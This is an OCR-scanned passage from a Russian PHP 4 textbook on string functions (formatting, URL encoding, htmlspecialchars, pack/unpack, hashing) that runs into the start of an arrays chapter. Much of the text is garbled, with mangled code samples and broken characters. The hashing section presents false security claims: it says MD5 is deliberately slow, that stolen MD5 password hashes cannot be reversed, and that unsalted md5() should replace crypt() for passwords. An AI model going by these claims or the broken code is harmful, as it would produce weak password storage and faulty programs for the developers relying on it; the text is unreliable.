Заменяет в строке все символы новой строки \п на <br>\n и возвращает результат. Исходная строка не изменяется. Обратите внимание на то, что символы \r, которые присутствуют в конце строки текстовых файлов Windows, этой функцией никак не учитываются, а потому остаются на старом месте.

string Wordwrap(string $st, int $width=75, string $break="\n")

Эта функция, наконец-то появившаяся в РНР версии 4, оказывается невероятно полезной при форматировании текста письма перед автоматической отправкой его адресату при помощи mail о. Она разбивает блок текста $st на несколько строк, завершаемых символами $break, так, чтобы на одной строке было не более $width букв. Разбиение происходит по границе слова, так что текст остается читаемым. Возвращается получившаяся строка с символами перевода строки, заданными в $break. Давайте рассмотрим пример, как мы можем отформатировать некоторый текст по ширине поля 60 сим-

волов, предварив каждую строку префиксом(то есть, оформить его как

цитирование, принятое в электронной переписке):

function Cite($OurText, $prefix="> " )

! $st=WordWrap($OurText, 60-strlen($prefix) , "\n");

;

// можно было бы сделать это и одной операцией, но так,

// по-моему, несколько универсальнее.

return $st;

}

string strip_tags (string $str [, string Sallowable tags] )

Эта функция удаляет из строки все тэги и возвращает результат. В параметре $allowable_tags можно передать тэги, которые не следует удалять из строки. Они должны перечисляться вплотную друг к другу. Вот пример: $st="

<Ь>Жирный текст</Ь>

<11>Моноширинный TeKCT</tt>

<а href=http: //www.dklab. ги>Ссылка</а>м;

echo "Исходный текст: $st";

echo "<Ьг>Послеудаления тэгов: " . strip_tags ($st, "<a><b>") . "<hr>";

Запустив этот пример, мы сможем заметить, что тэги <а> и <b> не были удалены (ровно как и их парные закрывающие), в то время как <tt> исчез.

string str repeat (string $st, string Snumber)

Функция "повторяет" строку $st Snumber раз и возвращает объединенный результат. Вот пример:

echo str_repeat ( "test! ",3J ; // выводит test!test!test!

Функции для преобразований символов

Web-программирование — одна из тех областей, в которых постоянно приходится манипулировать строками: разрывать их, добавлять и удалять пробелы, перекодировать в разные кодировки, наконец, URL- кодировать и декодировать. В РНР реализовать все эти действия вручную, используя только уже описанные примитивы, просто невозможно из соображений быстродействия. Поэтому-то и существуют встроенные функции, описанные в этом разделе.

string strtr(string $str, string $from, string $to)

Эта функция применяется не столь широко, но все-таки иногда она бывает довольно полезной. Делает она вот что: в строке $str заменяет все символы, встречающиеся в $from, на их "парные" (то есть расположенные в тех же позициях, что и во $from) из $to. Функция работает существенно быстрее, чем ereg_replace о, которую мы рассмотрим в главе, посвященной регулярным выражениям. Правде, она имеет вместе с тем несколько меньшую функциональность...

Следующие несколько функций предназначены для быстрого URL- кодирования и декодирования.

string UrlEncode(string $st)

Функция URL-кодирует строку $st и возвращает результат. Эту функцию удобно применять, если вы, например, хотите динамически сформировать ссылку <а href=. . . > на какой-то сценарий, но не уверены, что его параметры содержат только алфавитно-цифровые символы. В этом случае воспользуйтесь функцией так:

echo "<a href=/script.php?param=".UrlEncode($UserData);

Теперь, даже если переменная SUserData включает символы =, & или даже пробелы, все равно сценарию будут переданы корректные данные.

string UrlDecode(string $st)

Производит URL-декодирование строки. В принципе, используется значительно реже, чем UrlEncode о, потому что РНР и так умеет перекодировать входные данные автоматически.

string RawUrlEncode(string $st)

Почти полностью аналогична UrlEncode о, но только пробелы не преобразуются в +, как это делается при передаче данных из формы, а воспринимаются как обычные неалфавитно-цифровые символы. Впрочем, этот метод не порождает никаких дополнительных несовместимостей в коде.

string RawUrlDecode(string $st)

Аналогична UrlDecode(), но не воспринимает + как пробел.

Давайте теперь рассмотрим функцию, которая обычно используется в комбинации с echo. Основное ее назначение — гарантировать, что в выводимой строке ни один участок не будет воспринят как тэг.

string HtmlSpecialChars(string $str)

Заменяет в строке некоторые символы (такие как амперсант|ЕЗ], кавычки и знаки "больше" и "меньше") на их HTML-эквиваленты, так, чтобы они выглядели на странице "самими собой". Самое типичное применение этой функции — формирование параметра value в различных элементах формы, чтобы

не было никаких проблем с кавычками, или же вывод сообщения в гостевой книге, если вставлять тэги пользователю запрещено. Например, пусть содержимое книги хранится в массиве $Воок в очевидном формате. Тогда следующий фрагмент распечатывает содержимое гостевой книги, заботясь о том, чтобы тэги не воспринимались браузером как описания форматирования:

<?foreach($Воок as $k=>$v) { ?>

Имя: <?=$v['name'] ?><br>

Текст: <?=HtmlSpecialChars($v['text'] ) ?>

<hr>

<?}?>

Используя этот незамысловатый прием, вы гарантированно избавите себя от проблем с запретом тэгов.

Замечание

Начинающие Web-программисты для решения задачи запрета тэгов часто пытаются просто удалить их из строки — например, применив функцию strip_tags () ■ Это метод довольно плох, потому что всегда существует вероятность того, что злоумышленник сможет "обмануть" эту функцию. Конечно, еще хуже метод с применением регулярных выражений, потому что, как известно, с их помощью вовсе невозможно выделить некоторые тэги из строки — например, тэги такого вида: <а name='a>b' >.

string StripSlashes(string $st)

Заменяет в строке $st некоторые предваренные слэшем символы на их однокодовые эквиваленты. Это относится к следующим символам:\ и

никаким другим.

string AddSlashes (string $st)

Вставляет слэши только перед следующими символами:и Функцию

очень удобно использовать при вызове eval() (эта функция выполняет строку, переданную ей в параметрах, так, как будто имеет дело с небольшой PHP- программой; о ней (функции) мы еще поговорим, и при том очень подробно).

Функции изменения регистра

Довольно часто нам приходится переводить какие-то строки, скажем, в верхний регистр, т. е. делать все прописные буквы в строке заглавными. В принципе, для этой цели можно было бы воспользоваться функцией strtr ( ) , рассмотренной выше, но она все же будет работать не так быстро, как нам иногда хотелось бы. В РНР есть функции, которые предназначены специально для таких нужд. Вот они.

string strtolower (string $str)

Преобразует строку в нижний регистр. Возвращает результат перевода.

Надо заметить, что при неправильной настройке локали (про локаль будет рассказано чуть позже, а пока скажу только, что это набор правил по переводу символов из одного регистра в другой, переводу даты и времени, денежных единиц и т. д.) функция будет выдавать, мягко говоря, странные результаты при работе с буквами кириллицы. Возможно, в несложных программах, а также если нет уверенности в поддержке соответствующей лока- ли операционной системой, проще будет воспользоваться "ручным" преобразованием символов, задействуя функцию strtr ():

$st=strtr($st,

"АБВГДЕЁЖЗИЙКЖНОПРСТУФХЦЧШЩЬЫЬЭЮЯАВСОЕЕбНХКЪМЫОРОКЗТиУИХУг", • "aбвгдeёжзийклмнoпpcтyфxцчшщъыьэюяabcdefghiklmnopqrstuvwxyz");

Главное достоинство данного способа — то, что в случае проблем с кодировкой для восстановления работоспособности сценария вам придется всего лишь преобразовать его в ту же кодировку, в которой у вас хранятся документы на сервере.

string strtoupper (string $str)

Переводит строку в верхний регистр. Возвращает результат преобразования. Эта функции также прекрасно работает со строками, составленными из "английских" букв, но с "русскими" буквами может возникнуть все та же проблема.

Установка локали (локальных настроек)

string SetLocale(string $category, string $locale)

Функция устанавливает текущую локаль, с которой будут работать функции преобразования регистра символов, вывода даты-времени и т. д. Вообще говоря, для каждой категории функций локаль определяется отдельно и выглядит по-разному. То, какую именно категорию функций затронет вызов SetLocale о, задается в параметре $category. Он может принимать следующие строковые значения:

LC_CTYPE -- активизирует указанную локаль для функций перевода в верхний/нижний регистры;

LC_NUMERIC — активизирует локаль для функций форматирования дробных чисел — а именно, задает разделитель целой и дробной части в числах;

LC_TIME — задает формат вывода даты и времени по умолчанию;

LC_ALL — устанавливает все вышеперечисленные режимы.

Теперь поговорим о параметре $locale. Как известно, каждая локаль, установленная в системе, имеет свое уникальное имя, по которому к ней можно

обратиться. Именно оно и фиксируется в этом параметре. Однако, есть два важных исключения из этого правила. Во-первых, если величина $ locale равна пустой строке то устанавливается та локаль, которая указана в глобальной переменной окружения с именем, совпадающим с именем категории $category (или LANG — она практически всегда присутствует в Unix). Во- вторых, если в этом параметре передается 0, то новая локаль не устанавливается, а просто возвращается имя текущей локали для указанного режима.

К сожалению, имена ЛОКЗЛеЙ задаются при настройке операционной системы, и для них, по-видимому, не существует стандартов. Выясните у своего хостинг-провайдера, как называются локали для разных кодировок русских символов. Но, если следующий фрагмент работает у вашего хостинг- провайдера, это не означает, что он заработает, например, под Windows:

setlocale('LC^CTYPE','ru_SU.K0I8-R');

Здесь вызов устанавливает таблицу замены регистра букв в соответствии с кодировкой KO18-R.

По правде говоря, локаль — вещь довольно непредсказуемая и, как я уже говорил, довольно плохо переносимая между операционными системами. Так что, если ваш сценарий не очень велик, задумайтесь: возможно, лучше будет искать обходной путь (например, использовать strtr ( ) ), а не рассчитывать на локаль.

Преобразованиекодировок

Часто встречается ситуация, когда нам требуется преобразовать строку из одной кодировки кириллицы в другую. Например, мы в программе сменили локаль: была кодировка windows, а стала — KOI8-R. Но строки-то остались по-прежнему в кодировке WIN-1251, а значит, для правильной работы с ними нам нужно их перекодировать в KO18-R. Для этого и служит функция преобразования кодировок.

string convert_cyr_string(string $str, char $from, char $to) ;

Функция переводит строку $str из кодировки $from в кодировку $to. Конечно, это имеет смысл только для строк, содержащих "русские" буквы, т. к. латиница во всех кодировках выглядит одинаково. Разумеется, кодировка $ f rom должна совпадать с истинной кодировкой строки, иначе результат получится неверным. Значения $f rom и $to — один символ, определяющий кодировку:

k — koi8-r

w — windows-1251

i - iso8859-5

х-ср866

х-ср866

—

Функция работает достаточно быстро, так что ее вполне можно применять, скажем, для перекодировки писем в нужную форму перед их отправкой по электронной почте.

Функции форматных преобразований

Как мы знаем, переменные в строках РНР интерполируются, поэтому практически всегда задача "смешивания" текста со значениями переменных не является проблемой. Например, мы можем спокойно написать что-то вроде:

echo "Привет,Вам $аде

Вспомните, что в Си нам приходилось для аналогичных целей писать следующий код:

Вам

Язык РНР также поддерживает ряд функций, использующих такой же синтаксис, как и ихБывают случаи, когда их применение дает

наиболее красивое и лаконичное решение, хотя это и случается довольно нечасто.

string[, mixed args,

Эта функция — аналог функции sprintf о в Си. Она возвращает строку, составленную на основе строки форматирования, содержащей некоторые специальные символы, которые будут впоследствии заменены на значения соответствующих переменных из списка аргументов.

Строка форматирования format может включать в себя команды форматирования, предваренные символом %. Все остальные символы копируются в выходную строку как есть. Каждый спецификатор формата (то есть, символ % и следующие за ним команды) соответствует одному, и только одному параметру, указанному после параметраЕсли же нужно поместить в

текст % как обычный символ, необходимо его удвоить:

echo("The percentage was

Каждый спецификатор формата включает максимум пять элементов (в порядке их следования после символа

Необязательный спецификатор размера поля, который указывает, сколько символов будет отведено под выводимую величину. В качестве символов-заполнителей (если значение имеет меньший размер, чем размер поля для его вывода) может использоваться пробел или 0, по умолчанию

подставляется пробел. Можно задать любой другой символ-наполнитель, если указать его в строке форматирования, предварив апострофом

Опциональный спецификатор выравнивания, определяющий, будет результат выровнен по правому или по левому краю поля. По умолчанию производится выравнивание по правому краю, однако можно указать и левое выравнивание, задав символ - (минус).

О Необязательное число, определяющее размер поля для вывода величины. Если результат не будет в поле помещаться, то он "вылезет" за края этого поля, но не будет усечен.

Необязательное число, предваренное точкойпредписывающее,

сколько знаков после запятой будет в результирующей строке. Этот спецификатор учитывается только в том случае, если происходит вывод числа с плавающей точкой, в противном случае он игнорируется.

Наконец, обязательный (заметьте — единственный обязательный!) спецификатор типа величины, которая будет помещена в выходную строку:

ь — очередной аргумент из списка выводится как двоичное целое число;

с — выводится символ с указанным в аргументе кодом;

d — целое число;

f — число с плавающей точкой;

о — восьмеричное целое число;

s — строка символов;

х — шестнадцатеричное целое число с маленькими буквами а—

х — шестнадцатеричное число с большими буквамиA-F.

Вот как можно указать точность представления чисел с плавающей точкой:

$moneyl =

$money2 =

$шопеу = $moneyl + $топеу2;

// echo $топеу выведет "123.1"...

$formatted = sprintf (”%01.2fn, $money);

// echo $formatted выведет "123.10"!

Вот пример вывода целого числа, предваренного нужным количеством нулей: $isodate=sprintf("%04d-%02d-%02d”,$year,$month,$day);

Последний пример может вам очень пригодиться и показывает, насколько удобной может иногда быть функция sprintf ().

void printf(string $format [, mixed args, ...])

Делает то же самое, что и sprintf (), только результирующая строка не возвращается, а направляется в браузер пользователя.

string number_format(float $number, int $decimals,

string $dec_point=".", string Sthousands_sep=",");

Эта функция форматирует число с плавающей точкой с разделением его на триады с указанной точностью. Она может быть вызвана с двумя или четырьмя аргументами, но не с тремя! Параметр $decimals задает, сколько цифр после запятой должно быть у числа в выходной строке. Параметр $dec_point представляет собой разделитель целой и дробной частей, а параметр $thousands_sep — разделитель триад в числе (если указать на его месте пустую строку, то триады не отделяются друг от друга).

В РНР существует еще несколько функций для выполнения форматных преобразований, среди НИХ — sscanf() и fscanf(), которые часто применяются в Си. Однако в РНР их использование весьма ограничено: чаше всего для разбора строк оказывается гораздо выгоднее привлечь регулярные выражения или функцию explode () ■ Именно по этой причине я здесь не уделяю повышенного внимания этим функциям.

Работа с бинарными данными

Как мы уже знаем, строки могут содержать любые, в том числе и бинарные, данные (то есть, символы с кодами, меньшими 32). Для работы с такими строками иногда удобно использовать функции pack (; и unpack () ■

string pack(string $format [,mixed $args, . - - J)

Функция pack () упаковывает заданные аргументы в бинарную строку, которая затем и возвращается. Формат параметров, а также их количество, задается при помощи строки $ format, которая представляет собой набор однобуквенных спецификаторов форматирования — наподобие тех, которые указываются в sprintf о, но только без знака %. После каждого спецификатора может стоять число, которое отмечает, сколько информации будет обработано данным спецификатором. А именно, для форматов a, A, h и н число задает, какое количество символов будет помещено в бинарную строку из тех, что находятся в очередном параметре-строке при вызове функции (то есть, определяется размер поля для вывода строки). В случае @ оно определяет абсолютную позицию, в которую будут помещены следующие данные. Для всех остальных спецификаторов следующие за ними числа задают количество аргументов, на которые распространяется действие данного формата. Вместо числа можно указать *, в этом случае подразумевается, что спецификатор действует на все оставшиеся данные. Вот полный список спецификаторов формата:

□ a — строка, свободные места в поле заполняются символом с кодом 0;

A — строка, свободные места заполняются пробелами;

Пh— шестнадцатеричная строка, младшие разряды в начале;

н — шестнадцатеричная строка, старшие разряды в начале;

О с — знаковый байт (символ);

П с — беззнаковый байт;

П3 — знаковое короткое целое (16 битов, порядок байтов определяется архитектурой процессора);

П s — беззнаковое короткое целое;

П п — беззнаковое целое (16 битов, старшие разряды в конце);

П v — беззнаковое целое (16 битов, младшие разряды в конце);

П i — знаковое целое (размер и порядок байтов определяется архитектурой);

ПI — беззнаковое целое;

П 1 — знаковое длинное целое (32 бита, порядок байтов определяется архитектурой);

П — беззнаковое длинное целое;

□ N — беззнаковое длинное целое (32 бита, старшие разряды в конце);

П v — беззнаковое целое (32 бита, младшие разряды в конце);

П f — число с плавающей точкой (зависит от архитектуры);

□ d — число с плавающей точкой двойной точности (зависит от архитектуры);

П х — символ с нулевым кодом;

П х — возврат назад на 1 байт;

П @ — заполнение нулевым кодом до заданной абсолютной позиции.

Немало, не правда ли? Вот пример использования этой функции:

// Целое, целое, все остальное — символы

$bindata = pack("nvc*", 0x1234, 0x5678, 65, 66) ;

После выполнения приведенного кода в строке $bindata будет содержаться 6 байтов в такой последовательности: 0x12, 0x34, 0x78, 0x56, 0x41, 0x42 (в шестнадцатеричной системе счисления).

array unpack(string $format, string Sdata)

Функция unpack о выполняет действия, обратные pack () -- распаковывает строку $data, пользуясь информацией о формате $format. Возвращает она ассоциативный массив, содержащий элементы распакованных данных. Строка Sformat задается немного в другом формате, чем в функции pack(), а именно, после каждого спецификатора (или после завершающего его чис-

ла) должно "впритык" следовать имя ключа в ассоциативном массиве. Разделяются параметры при помощи символа /. Например:

$array=unpack("c2chars/nint", $bindata);

В результирующий массив будут записаны элементы с ключами: charsi, chars2 и IDE. Как видим, если после спецификатора задано число, то к имени ключа будут добавлены номера 1, 2 и т. д., т. е. в массиве появятся несколько ключей, отличающихся суффиксами.

Когда бывают полезны функции pack о и unpack()? Например, вы считали участок GIF-файла, содержащий его размер в пикселах, и хотите преобразовать бинарную 32-битную ячейку памяти в формат, понятный РНР. Или, наоборот, стремитесь работать с файлами с фиксированным размером записи. В этом случае вам и пригодятся рассматриваемые функции. Вообще говоря, функции pack о и unpack о применяются сравнительно редко. Это связано с тем, что в РНР практически все действия, которые могут потребовать работы с бинарными данными (например, анализ файла с рисунком с целью определения его размера), уже реализованы в виде встроенных функций (в нашем примере с GIF-картинкой это GetlmageSize () ).

Хэш-функции

string md5 (string $st)

Возвращает хэш-код строки $st, основанный на алгоритме корпорации RSA Data Security под названием "MD5 Message-Digest Algorithm". Хэш-код — это просто строка, практически уникальная для каждой из строк $st. To есть вероятность того, что две разные строки, переданные в $st, дадут нам одинаковый хэш-код, стремится к нулю.

Примечание

Я где-то читал об одном опыте, в котором принимали участие более 1000 МОЩных компьютеров, на протяжении года генерировавшие ХЭШ-КОДЫ для строк, и за все время не было обнаружено ни одного совпадения M Об-кодов для различных строк. Более того, математически доказано, что они могли бы с тем же результатом заниматься этим на протяжении еще нескольких тысяч лет.

В то же время, если длина строки $st может достигать нескольких тысяч символов, то ее МО5-КОД занимает максимум 32 символа.

Для чего нужен хэш-код и, в частности, алгоритм MD5? Например, для проверки паролей на истинность. Пусть, к примеру, у нас есть система со многими пользователями, каждый из которых имеет свой пароль. Можно, конечно, хранить все эти пароли в обычном виде, или зашифровать их каким-нибудь способом, но тогда велика вероятность того, что в один пре-

красный день этот файл с паролями у вас украдут. Если пароли были зашифрованы, то, зная метод шифрования, не составит особого труда их раскодировать. Однако можно поступить другим способом, при использовании которого даже если файл с паролями украдут, расшифровать его будет математически невозможно. Сделаем так: в файле паролей будем хранить не сами пароли, а их (MD5) хэш-коды. При попытке какого-либо пользователя войти в систему мы вычислим хэш-код только что введенного им пароля и сравним его с тем, который записан у нас в базе данных. Если коды совпадут, значит, все в порядке, а если нет — что ж, извините...

Конечно, при вычислении хэш-кода какая-то часть информации о строке $st безвозвратно теряется. И именно это позволяет нам не опасаться, что злоумышленник, получивший файл паролей, сможет его когда-нибудь расшифровать. Ведь в нем нет самих паролей, нет даже их каких-то связных частей!

Алгоритм MD5 специально был изобретен для того, чтобы как раз и обеспечить описанную выше схему. Так как все же есть вероятность того, что у разных строк М 05-коды совпадут, то, чтобы не дать возможность злоумышленнику войти в систему, перебирая пароли с бешеной скоростью, алгоритм MD5 работает довольно медленно. И его нельзя никак убыстрить, потому что это будет уже не MD5. Так что даже на самых мощных компьютерах вряд ли получится перебирать более нескольких тысяч паролей в секунду, а это совсем маленькая скорость, капля в океане возможных МО5-кодов.

int crc32(string Sstr)

Функция сгс32 о вычисляет 32-битную контрольную сумму строки $str. To есть, результат ее работы — 32-битное (4-байтовое) целое число. Эта функция работает гораздо быстрее md5(), но в то же время выдает гораздо менее надежные "хэш-коды" для строки. Так что, теперь, чтобы получить методом случайного подбора для двух разных строк одинаковые "хэш-коды", вам потребуется не триллион лет работы самого мощного компьютера, а всего лишь год-другой. Впрочем, если не использовать генератор случайных чисел, а разобраться в алгоритме вычисления 32-битной контрольной суммы, эту же задачу легко можно решить буквально за секунду, потому что алгоритм сгс32 имеет неизмеримо большую предсказуемость, чем MD5.

string crypt(string $str [, string $salt])

Алгоритм шифрования DES до недавнего времени был стандартным для всех версий Unix и использовался как раз для кодирования паролей пользователей (тем же самым способом, о котором мы говорили при рассмотрении функции md5 () ). Но в последнее время MD5 постепенно начал его вытеснять. Это и понятно: MD5 гораздо более надежен. Рекомендую и вам везде применять md5 () вместо crypt(). Впрочем, функция crypt () все же может понадобиться вам в одном случае: если вы хотите сгенерировать хэш-код для другой программы, которая использует именно алгоритм DES (например, для сервера Apache).

Хэш -код для одной и той же строки, но с различными значениями Ssalt (кстати, это должна быть обязательно двухсимвольная строка) дает разные результаты. Если параметр $salt пропущен, РНР сгенерирует его случайным образом, так что не удивляйтесь работе следующего примера: $st="This is the test";

echo crypt($st)."<br>";// можем получить, например, 7N8JKLKbBWEhg

echo crypt($st)."<br>";// а здесь появится, например, Jsk746pawBOA2

Как видите, два одинаковых вызова crypt() без второго параметра выдают совершенно разные хэш-коды. За деталями работы функции обращайтесь к документации РНР.

Сброс буфера вывода

void flush()

Эта функция имеет очень и очень отдаленное отношение к работе со строками, но она еше дальше отстоит от других функций. Именно поэтому я включил ее в данную главу. Начнем издалека: обычно при использовании echo данные не прямо сразу отправляются клиенту, а накапливаются в специальном буфере, чтобы потом транспортироваться большой "пачкой". Так получается быстрее. Однако, иногда бывает нужно досрочно отправить все данные из буфера пользователю, например, если вы что-то выводите в реальном времени (так зачастую работают чаты). Вот тут-то вам и поможет функция flush(), которая отправляет содержимое буфера echo в браузер пользователя.

Глава 13

Работа с массивами

В части III книги мы уже рассматривали многие возможности, которые предоставляет РНР для работы с ассоциативными массивами. В их число входят различные механизмы перебора, получение числа элементов, оперирование ключами и значениями и т. д.

Однако здесь перечислено далеко не все, что можно делать с массивами в РНР. Язык (особенно версии 4) содержит множество других, иногда крайне полезных, функций. В этой главе мы рассмотрим большинство из них.

Сортировка массивов

Начнем с самого простого — сортировки массивов. В РНР для этого существует очень много функций. С их помощью можно сортировать ассоциативные массивы и списки в порядке возрастания или убывания, а также в том порядке, в каком заблагорассудится — посредством пользовательской функции сортировки.

Сортировка массива по значениям

(asort()/arsort())

Функциясортирует массив, указанный в ее параметре, так, чтобы

его значения шли в(если это строки) или в возрастающем (для

чисел) порядке. При этом сохраняются связи между ключами и соответствующими им значениями, т. е. некоторые парыпросто

"всплывают" наверх, а некоторые — наоборот, "опускаются". Например:

$A=array("a"=>"Zero","b"=>"Weapon","c"=>"Alpha","d"=>"Processor"); asort($A);

foreach($A as $k=>$v) echo

// выводитd=>Processor

// как видим, поменялся только порядок пар

Функция arsort о выполняет то же самое, за одним исключением: она упорядочивает массив не по возрастанию, а по убыванию.

Сортировка по ключам

(ksort()/krsort())

Функция ksort() практически идентична функции asort(), с тем различием, что сортировка осуществляется не по значениями, а по ключам (в порядке возрастания). Например:

$A=array("d"=>"Zero", "c"=>"Weapon", "b"=>"Alpha", "a"=>"Processor"); ksort ($A) ;

for (Reset ($A) ; list ($k, $v) =each ($A) ;) echo "$k=>$v ";

// выводит "a=>Processor b=>Alpha c=>Weapon d=>Zero"

Функция для сортировки по ключам в обратном порядке называется krsort () и применяется точно в таком же контексте, что и ksort () -

Сортировка по ключам при помощи функции uksortO

Довольно часто нам приходится сортировать что-то по более сложному критерию, чем просто по алфавиту. Например, пусть в $Files хранится список имен файлов и подкаталогов в текущем каталоге. Возможно, мы захотим вывести этот список не только в лексикографическом порядке, но также и чтобы все каталоги предшествовали файлам. В этом случае нам стоит воспользоваться функцией uksortO, написав предварительно функцию сравнения с двумя параметрами, как того требует uksort () -

Листинг 13.1. Сортировка с помощью пользовательской функции

// Эта функция должна сравнивать значения $fl и $f2 и возвращать:

// -1, если $fl<$f2,

// 0, если $fl=$f2

// 1, если $fl>$f2

// Под < и > понимается следование этих имен в выводимом списке function FCmp($fl,$f2)

{ // Каталог всегда предшествует файлу

if(is_dir($fl) && !is_dir($f2)) return -1;

// Файл всегда идет после каталога

if(!is_dir($fl) && is_dir($f2)) return 1;

// Иначе сравниваем лексикографически

if($fl<$£2) return -1; elseif($fl>$f2) return 1; else return 0;

}

/ / Пусть $Files содержит массив с ключами — именами файлов // в текущем каталоге. Отсортируем его.

uksort($Files,"FCmp") ;// передаем функцию сортировки "по ссылке"

Конечно, связи между ключами и значениями функцией uksort () сохраняются, т. е., опять же, некоторые пары просто "всплывают" наверх, а другие — "оседают".

Сортировка по значениям при помощи функции uasortf)

Функция uasort о очень похожа на uksort о , с той разницей, что сменной (пользовательской) функции сортировки "подсовываются" не ключи, а очередные значения из массива. При этом также сохраняются связи в парах ключ=>значение.

Переворачивание массива array_reverce()

Функция array_reverse () возвращает массив, элементы которого следуют в обратном порядке относительно массива, переданного в параметре. При этом связи между ключами и значениями, конечно, не теряются. Например, вместо того, чтобы ранжировать массив в обратном порядке при помощи arsort (), мы можем отсортировать его в прямом порядке, а затем перевернуть:

$A=array("a"=>"Zero","b"=>"Weapon","c"=>"Alpha", "d"=>"Processor"); asort ($A) ;

$A=array_reverse($A);

Конечно, указанная последовательность работает дольше, чем один-единст- венный ВЫЗОВ arsort().

Сортировка списка sort()/rsort()

Эти две функции предназначены в первую очередь для сортировки списков (напоминаю, что под списками я понимаю массивы, ключи которых начинаются с 0 и не имеют пропусков). Функция sort о сортирует список (разумеется, по значениям) в порядке возрастания, a rsort () -- в порядке убывания. Например:

$A=array("One", "Two", "Three", "Four");

sort($A) ;

for($1=0; $i<count($A); $i++) echo "$i:$A[$i] // выводит "0:Four l:Two 2:Three 3:One"

Внимание

Любой ассоциативный массив воспринимается этими функциями как список. То есть после упорядочивания последовательность ключей превращается в 0,1,2 а значения нужным образом перераспределяются. Как видим, связи между парами ключ=>значение не сохраняются, более ТОГО — ключи просто пропадают, поэтому сортировать что-либо, отличное от списка, вряд ли целесообразно.

Сортировка списка при помощи функции usort()

Эта функция как бы является "гибридом" функций uasort() и sort о. От sort () она отличается тем, что критерий сравнения обеспечивается пользовательской функцией. А от uasort() — тем, что она не сохраняет связей между ключами и значениями, а потому пригодна разве что для сортировки списков. Вот тривиальный пример:

function FCmp($a,$b) { return strcmp($a,$b); }

$A=array("One","Two","Three","Four") ;

usort.($A)

for($1=0; SKeount (SA) ; $i++) echo "$i:$A[$i] ";

// выводит "0:Four l:One 2:Three 3:Two"

Использованная нами функция strcmp о, как и ее пращур в Си, возвращает -1, если $а<$ь, 0, если они равны, и 1, если $а>$ь. В принципе, приведенный здесь пример полностью эквивалентен простому вызову sort о .

Перемешивание списка shuffleO

Функция shuffle() "перемешивает" список, переданный ей первым параметром, так, чтобы его значения распределялись случайным образом. Обратите внимание, что, во-первых, изменяется сам массив, а во-вторых, ассоциативные массивы воспринимаются как списки. Пример:

$A=array(10,20,30,40,50);

shuffle($A) ;

foreach($A as $v) echo "$v ";

Приведенный фрагмент выводит числа 10, 20, 30, 40 и 50 в случайном порядке.

Замечание )

Выполнив этот фрагмент несколько раз, вы можете обнаружить, что от запуска к запуску очередность следования чисел не изменяется. Это свойство обусловлено тем, что функция shuffle() использует стандартный генератор случайных чисел, который перед работой необходимо инициализировать при по-

мощи вызова srand(). Подробности можно найти в следующей главе (см. функцию mt_srand ()). Она — не совсем то, что нам требуется (нам нужна srand ()), но формы записи обеих функций не различаются.

Ключи и значения

array array flipfarray $Arr)

Эта функция "пробегает" по массиву и меняет местами его ключи и значения. Исходный массив SArr не изменяется, а результирующий массив просто возвращается. Конечно, если в массиве присутствовали несколько элементов с одинаковыми значениями, учитываться будет только последний из них:

$A=array("a"=>"aaa", "b"=>"aaa", "c"=>"ccc");

$A=array_flip($A);

// теперь $A===array("aaa"=>"b", "ccc"=>"c");

list array_keys(array $Arr [,mixed $SearchVal])

Функция возвращает список, содержащий все ключи массива 3Arr. Если задан необязательный параметр SSearchVal, то она вернет только те ключи, которым соответствуют значения SSearchVal.

( Замечание J

Фактически, эта функция с заданным вторым параметром является обратной по отношению к оператору [ ] — извлечению значения по его ключу.

list array_values(array $Arr)

Функция array values о возвращает список всех значений в ассоциативном массиве SArr. Очевидно, такое действие бесполезно для списков, но иногда оправдано для хэшей.

bool in_array(mixed Sval, array $Arr)

Возвращает true, если элемент со значением Sval присутствует в массиве SArr. Впрочем, если вам часто приходится проделывать эту операцию, подумайте: не лучше ли будет воспользоваться ассоциативным массивом и хранить данные в его ключах, а не в значениях? На этом вы можете сильно выиграть в быстродействии.

array array_count_values(list SList)

Эта функция подсчитывает, сколько раз каждое значение встречается в списке SList, и возвращает ассоциативный массив с ключами — элементами списка и значениями — количеством повторов этих элементов. Иными СЛО-

вами, функция array_count_values о подсчитывает частоту появления значений в списке $List. Вот пример:

$List=array(l, "hello", 1, "world", "hello");

array_count_values($array);

// возвращает array(l=>2, "hello"=>2, "world"=>l)

Комплексная замена в строке

В предыдущей главе мы рассматривали функцию strtr (), которая заменяла в строке одни буквы на другие, и функцию str_replace() , осуществляющую контекстный поиск и замену. В свете ассоциативных массивов эти две функции объединяются в одну, также называющуюся strtr (), но несущую в себе возможности str_replace () ■

string strtr(string $st, array SSubstitutes)

Эта функция (заметьте — с двумя параметрами, а не с тремя, как обычная strtr о!) берет строку $st и проводит в ней контекстный поиск и замену: ищутся подстроки — ключи в массиве $Substitutes — и замещаются на соответствующие им значения. Таким образом, теперь мы можем выполнить несколько замен сразу, не используя str_replace() в цикле:

$Subs=array(

"<name>" => "Larry",

”<time>" => date("d .m.Y")

) ;

$з!="Привет, <name>! Сейчас <time>";

echo strtr($st,$Subs);

А ВОТ как МОЖНО "отменить" ДеЙСТВИе фуНКЦИИ HtmlSpecialChars () :

$Trans=array_flip(get_html_translation_table() ) $st=strtr($st, $Trans);

В результате мы из строки, в которой все спецсимволы заменены на их HTML-эквиваленты, получим исходную строку во всей ее первозданной красе. Функции get_html_translation_table о не уделено много внимания в этой книге. Она возвращает таблицу преобразований, которая применяется При вызове HtmlSpecialChars() .

Примечание J

Функция strtr () начинает поиск с самой длинной подстроки и не проходит по одному и тому же ключу дважды.

Слияние массивов

array array_merge(array $A1, array $A2, ...)

Функция array_merge о призвана устранить все недостатки, присущие оператору + для слияния массивов. А именно, она сливает массивы, перечисленные в ее аргументах, в один большой массив и возвращает результат. Если в массивах встречаются одинаковые ключи, в результат помещается пара ключ=>значение из того массива, который расположен правее в списке аргументов. Однако это не затрагивает числовые ключи: элементы с такими ключами помещаются в конец результирующего массива в любом случае.

Таким образом, с помощью array_merge() мы можем избавиться от всех недостатков оператора + для массивов. Вот пример, сливающий два списка в один:

$Ll=array(10,20,30) ;

$L2=array(100,200,300) ;

$L=array_merge($L1,$L2);

// теперь $L===array(10,20,30,100,200, 300) ;

Всегда используйте эту функцию, если вам нужно работать именно со списками, а не с обычными ассоциативными массивами.

Получение части массива

array array_sli.ee (array $Arr, int Soffset [, int Slen])

Эта функция возвращает часть ассоциативного массива, начиная с пары ключ=>значения со смещением (номером) $offset от начала и длиной $len (если последний параметр не задан, до конца массива).

Параметры $offset и $1еп задаются по точно таким же правилам, как и аналогичные параметры в функции substr (). А именно, они могут быть отрицательными (в этом случае отсчет осуществляется от конца массива),

и т. д. Вот несколько примеров из документации РНР:

$input = array ("a", "b", "с", "d", "e");

